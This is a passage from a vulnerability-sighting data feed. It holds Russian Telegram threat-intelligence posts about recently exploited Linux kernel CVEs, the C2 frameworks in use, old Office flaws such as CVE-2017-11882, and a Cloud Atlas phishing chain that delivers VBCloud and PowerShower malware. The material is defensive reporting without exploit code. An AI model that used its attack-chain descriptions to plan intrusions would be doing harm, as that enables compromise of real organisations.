CVE-2026-31431 (Copy Fail), CVE-2026-43284, CVE-2026-43500 (Dirty Frag), CVE-2026-46300 (Fragnesia), CVE-2026-31635 (DirtyDecrypt), CVE-2026-43494 (PinTheft) \u0438 CVE-2026-46331 (pedit COW).\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272, CVE-2021-22555, CVE-2023-32233.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u041f\u041e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0443. \u0422\u0430\u043a, \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u0438\u0434\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043a\u0430\u043a SharePoint.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0430\u0437\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0432 \u041b\u041a \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e 0-day. \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Langflow - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 APT \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 C2-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u043c\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f Sliver, Havoc, Adaptix\u04212 \u0438 Metasploit.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-08-27T00:00:08.771161Z"}, {"uuid": "ed557503-ed00-4e21-a13a-78a0f9bfeecc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "Telegram/kVdsT0a2Q3uWeXZ0gvzuIQoYuMHlzrKmbh4-ltBMYOQDP-Q", "content": "", "creation_timestamp": "2026-08-29T00:00:09.099882Z"}, {"uuid": "1f02122c-acb0-4c2a-8c15-dad4d4447bcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/EchelonEyes/4631", "content": "Cyber Threat Intelligence \u0437\u0430 2025 \u0433\u043e\u0434: \u043f\u043e\u0447\u0442\u0438 2900 \u043e\u0442\u0447\u0451\u0442\u043e\u0432 \u0432 \u043e\u0434\u043d\u043e\u043c \u0441\u0440\u0435\u0437\u0435\n\n\u0412\u044b\u0448\u0435\u043b \u0433\u043e\u0434\u043e\u0432\u043e\u0439 \u043e\u0431\u0437\u043e\u0440 CyberThreatTech \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u0433\u0440\u043e\u0437 2025 \u0433\u043e\u0434\u0430. \u0414\u043b\u044f \u0432\u044b\u0431\u043e\u0440\u043a\u0438 \u0432\u0437\u044f\u043b\u0438 2884 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0445 CTI-\u043e\u0442\u0447\u0451\u0442\u0430 \u0438\u0437 280 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0438 \u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0430\u0445 \u0432 \u043e\u0442\u0447\u0435\u0442 \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0441\u044f \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0441\u0440\u0435\u0437 \u043f\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u043e\u0442\u0440\u0430\u0441\u043b\u044f\u043c, \u0442\u0435\u0445\u043d\u0438\u043a\u0430\u043c \u0438 \u0442\u0430\u043a\u0442\u0438\u043a\u0430\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c.\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u0447\u0435\u0442\u0430 \u2013 \u044d\u0442\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0430\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f. \u0410\u0432\u0442\u043e\u0440\u044b \u0441\u0432\u0435\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a, \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u0441\u0432\u043e\u044e \u0431\u0430\u0437\u0443 \u0437\u043d\u0430\u043d\u0438\u0439. \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u0430 \u043e\u0447\u0438\u0441\u0442\u043a\u0430 \u043e\u0442 \u0448\u0443\u043c\u0430 \u0438 \u0418\u0418-\u0444\u0435\u0439\u043a\u043e\u0432. \u0414\u043b\u044f \u0440\u044b\u043d\u043a\u0430, \u0433\u0434\u0435 \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0447\u0430\u0441\u0442\u043e \u0436\u0438\u0432\u0451\u0442 \u043f\u043e\u0434 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438, \u044d\u0442\u043e \u0432\u0435\u0441\u044c\u043c\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u0434\u0435\u0442\u0430\u043b\u044c.\n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0446\u0438\u0444\u0440, \u0442\u043e \u043f\u043e \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0435 \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0447\u0438\u0441\u043b\u043e \u043e\u0442\u0447\u0435\u0442\u043e\u0432 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437\u0430\u043c \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0440\u0430\u0441\u0442\u0438.\u0412 2024 \u0433\u043e\u0434\u0443 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0435 \u0431\u044b\u043b\u043e 2353 \u043e\u0442\u0447\u0451\u0442\u0430, \u0432 2025 \u2014 \u0443\u0436\u0435 2884. \u042d\u0442\u043e \u043e\u043a\u043e\u043b\u043e 8 \u043e\u0442\u0447\u0451\u0442\u043e\u0432 \u0432 \u0441\u0443\u0442\u043a\u0438. \u0410\u0432\u0442\u043e\u0440\u044b \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u0438 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0443\u0447\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0431\u043e\u0440\u0430: \u043f\u043e\u043b\u043d\u044b\u0439 \u043f\u0440\u043e\u0445\u043e\u0434 \u043f\u043e \u043c\u0430\u0441\u0441\u0438\u0432\u0443 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442 \u0432 16,2 \u043c\u043b\u043d \u20bd \u0432 \u0433\u043e\u0434, \u0430 \u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u2014 \u0434\u043e 20\u201325 \u043c\u043b\u043d \u20bd.\n\n\u0421\u0440\u0435\u0434\u0438 \u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u043f\u043e \u043e\u0431\u044a\u0451\u043c\u0443 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0439 \u043d\u0430\u0437\u0432\u0430\u043d\u044b SecureList, AhnLab, Socradar, Cyfirma, \u0430 \u0432 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u043c \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0435 \u2014 BI[.]ZONE, F6, \u0420\u0422\u041a-\u0421\u043e\u043b\u0430\u0440. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0441\u0440\u0435\u0437\u0443, \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0430 \u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430\u0445 \u0432 \u0441\u0443\u043c\u043c\u0435 \u0434\u0430\u044e\u0442 \u043e\u0431\u044a\u0451\u043c, \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c\u044b\u0439 \u0441 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u043c \u0438\u0433\u0440\u043e\u043a\u043e\u043c \u0440\u044b\u043d\u043a\u0430.\n\n\u041f\u043e \u0442\u0435\u0445\u043d\u0438\u043a\u0430\u043c \u043a\u0430\u0440\u0442\u0438\u043d\u0430 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u0430\u044f. \u0412\u044b\u0440\u043e\u0441\u043b\u0438 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438, \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u0437\u0432\u043d\u0435, \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b, \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 PowerShell. \u0415\u0441\u043b\u0438 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u044c \u043e \u0442\u0435\u0445\u043d\u0438\u043a\u0430\u0445, \u0442\u0430\u043a\u0442\u0438\u043a\u0430\u0445 \u0438 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0430\u0445 (TTP), \u0442\u043e, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0438 \u0447\u0430\u0441\u0442\u043e \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u043e\u0439 \u0442\u0435\u0445\u043d\u0438\u043a\u043e\u0439 \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u2014 T1078.\n\n\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0431\u043b\u043e\u043a \u043f\u043e\u0441\u0432\u044f\u0449\u0451\u043d \u00ab\u0434\u043e\u043b\u0433\u043e\u0439 \u0436\u0438\u0437\u043d\u0438\u00bb \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0412 \u043e\u0442\u0447\u0451\u0442\u0430\u0445 2025 \u0433\u043e\u0434\u0430 \u0432\u0441\u0451 \u0435\u0449\u0451 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f CVE-2017-11882 (\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MS Office), CVE-2021-44228 (Log4Shell) \u0438 CVE-2020-1472 (\u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 Netlogon). \u042d\u0442\u043e \u0445\u043e\u0440\u043e\u0448\u043e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435 \u0434\u0430\u0442\u043e\u0439 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://eyes.etecs.ru/r/541581\n\u00a0\n#\u043e\u0442\u0447\u0435\u0442 #\u0443\u0433\u0440\u043e\u0437\u044b #CTI", "creation_timestamp": "2026-07-26T02:00:24.475315Z"}, {"uuid": "8bc23464-a69d-4b78-8bfa-fb4c7788c0eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/EchelonEyes/3514", "content": "\u041d\u043e\u0432\u044b\u0439 \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0432 \u0440\u0443\u043a\u0430\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 Cloud Atlas \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043a\u0430\u043a Cloud Atlas, \u0431\u044b\u043b \u0437\u0430\u043c\u0435\u0447\u0435\u043d \u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e VBCloud \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0432\u043e\u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u00ab\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439\u00bb \u0432 2024 \u0433\u043e\u0434\u0443. \u0411\u043e\u043b\u0435\u0435 80% \u0436\u0435\u0440\u0442\u0432 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u2013 \u0432 \u0411\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u0438\u0438, \u041a\u0430\u043d\u0430\u0434\u0435, \u041c\u043e\u043b\u0434\u043e\u0432\u0435, \u0418\u0437\u0440\u0430\u0438\u043b\u0435, \u041a\u0438\u0440\u0433\u0438\u0437\u0438\u0438, \u0422\u0443\u0440\u0446\u0438\u0438 \u0438 \u0412\u044c\u0435\u0442\u043d\u0430\u043c\u0435.\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Cloud Atlas \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0435\u0449\u0435 \u0441 2014 \u0433\u043e\u0434\u0430. \u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0420\u043e\u0441\u0441\u0438\u044e \u043e\u043d\u0430 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 \u0443\u0436\u0435 \u043d\u0435 \u0432\u043f\u0435\u0440\u0432\u044b\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u043b\u0430 \u0431\u044d\u043a\u0434\u043e\u0440 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 PowerShell \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c PowerShower \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0440\u043e\u0441\u0441\u0438\u044f\u043d. \u0410 \u0432 2023 \u0431\u044b\u043b\u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0441\u0442\u0430\u0440\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 \u0444\u043e\u0440\u043c\u0443\u043b Microsoft Office (CVE-2017-11882) \u0434\u043b\u044f \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438. \u041e\u043d\u0430 \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0430 \u0432 \u0441\u0435\u0431\u044f \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 Visual Basic Script (VBS), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0430 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e VBS \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f.\n\n\u0412 \u0441\u0432\u0435\u0436\u0435\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u044d\u0442\u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 PowerShower, \u0430 \u0442\u0430\u043a\u0436\u0435 VBCloud.\n\n\u0410\u0442\u0430\u043a\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0433\u043e \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 RTF-\u0444\u0430\u0439\u043b\u0430 \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b, CVE-2018-0802, \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 HTML-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (HTA), \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0412 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0436\u0435\u0440\u0442\u0432\u044b \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f 